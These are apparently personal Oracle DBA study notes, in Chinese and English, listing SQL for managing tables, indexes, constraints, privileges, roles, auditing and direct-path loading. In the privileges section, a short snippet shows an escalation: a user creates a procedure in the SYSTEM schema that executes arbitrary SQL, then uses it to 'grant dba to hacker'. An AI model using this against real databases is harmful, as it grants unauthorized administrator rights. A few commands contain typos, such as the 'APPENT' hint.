Oracle笔记4

十一、Managing Tables

1、创建临时表空间

          --session级有效

            create global temporary table tmp_session on commit preserve rows as select * from t;

          --transaction级有效

            create global temporary table tmp_transaction on commit delete rows as select * from t;

2、查看表的定义的详细信息

            select dbms_metadata.get_ddl('TABLE','T') from dual;

3、更改表的表空间

            alter table t move tablespace mssm;

4、Dropping a Column

            alter table hr.t drop column c cascade constraints checkpoint 1000;

            alter table hr.t drop columns continue;

5、Renaming a Column

            alter table hr.t rename column b to c;

6、Using the UNUSED Option

          (1)  Mark a column as unuserd

            alter table hr.t set unused column c;

          (2)  Drop unused columns

            alter table hr.t drop unused columns checkpoint 1000;

          (3)  Continue to drop column operation

            alter table hr.t drop columns continue checkpoint 1000;

 

十二、Managing Indexes

1、Create Bitmap Indexes

            create bitmap index my_bit_idx on t(sex);

2、Alloc & Dealloc Index Space

            alter index my_bit_idx allocate extent (size 200K default '/db/index01.dbf');

            alter index my_bit_idx deallocate unused;

3、Rebuilding Index

            alter index my_bit_idx rebuild tablespace index01;

4、Coalescing indexes

            alter index my_bit_idx coalesce;

5、Checking Index Validity

            analyze index my_bit_idx validate structure;(index_stats)

            select height,name, lf_rows,lf_blks,del_lf_rows from index_stats;

6、Indentifying Unused Indexes

            alter index my_bit_idx monitoring usage;

            alter index my_bit_idx nomonitoring usage;

            select * from v$object_usage;

7、

            dba_indexes

            dba_ind_columns

            v$object_usage

十三、Maintaining Data Integrity

1、Check约束

            alter table tt add constraint age_ct check(age>0);

2、Constraint States

            alter table t add primary key(id) disable;

            select constraint_name,status,validated from user_constraints;

            alter table t enable novalidate primary key;

            alter table t disable validate primary key;

            alter table t enable validate primary key;

3、Immediate vs Deferred

            alter table t add primary key(id) deferrable;

            select index_name, uniqueness from user_indexes;

            set constraints all deferred;

4、PK & UK Enforcement

十六、Managing Privileges

1、允许普通用户查看数据字典权限

            alter system set O7_DICTIONARY_ACCESSIBILITY=true scope=spfile;

2、Oracle漏洞

          只要赋给某个用户的create session、create any procedure、execute any procedure就可以通过

create procedure system.h1(h1_str in varchar2) as

begin

execute immediate h1_str;

end;

execute system.h1('grant dba to hacker');

3、

4、数据字典

          dba_sys_privs

          session_privs

          dba_tab_privs

          dba_col_privs

十七、Managing Roles

1、查看role的所有权限

            select * from role_role_privs;

            select * from role_sys_privs;

            select * from role_tab_privs;

2、Getting Role Information

          DBA_ROLES

          DBA_ROLE_PRIVS

          ROLE_ROLE_PRIVS

          DBA_SYS_PRIVS

          ROLE_SYS_PRIVS

          ROLE_TAB_PRIVS

          SESSION_ROLES

十八、Auditing

1、更改audit

            show parameter audit

            alter system set audit_trail=db scope=spfile;

            select * from aud$;

            audit session by u1;

            select username,timestamp ,action_name from dba_audit_trail;

2、Auditing Options

          Statement auditing:

            audit table;

          Privilege auditing:

            audit create any trigger;

          Schema object auditing:

            audit select on emi.orders;

            noaudit select on u1.t;

3、Getting Auditing Information

          ALL_DEF_AUDIT_OPTS

          DBA_STMT_AUDIT_OPTS

          DBA_PRIV_AUDIT_OPTS

          DBA_OBJ_AUDIT_OPTS

          AUD$

十九、Loading Data into a Database

1、Serial Direct Load

            insert /*+ APPENT */ into bt select * from all_objects;

            alter table bt nologging;

            insert /*+ APPENT */ into bt select * from all_objects;

2、Parallel Direct Load

--创建分区表

create table emp
(empno int,
 ename varchar2(20)
)
partition by hash(empno)
(partition part1,
 partition part2
);

select object_name,object_type from user_objects;

--load data

alter session enable parallel dml;

insert /*+PARALLEL(hr.emplyees,2) */

into hr.employees nologging

select * from hr.old_employees;

3、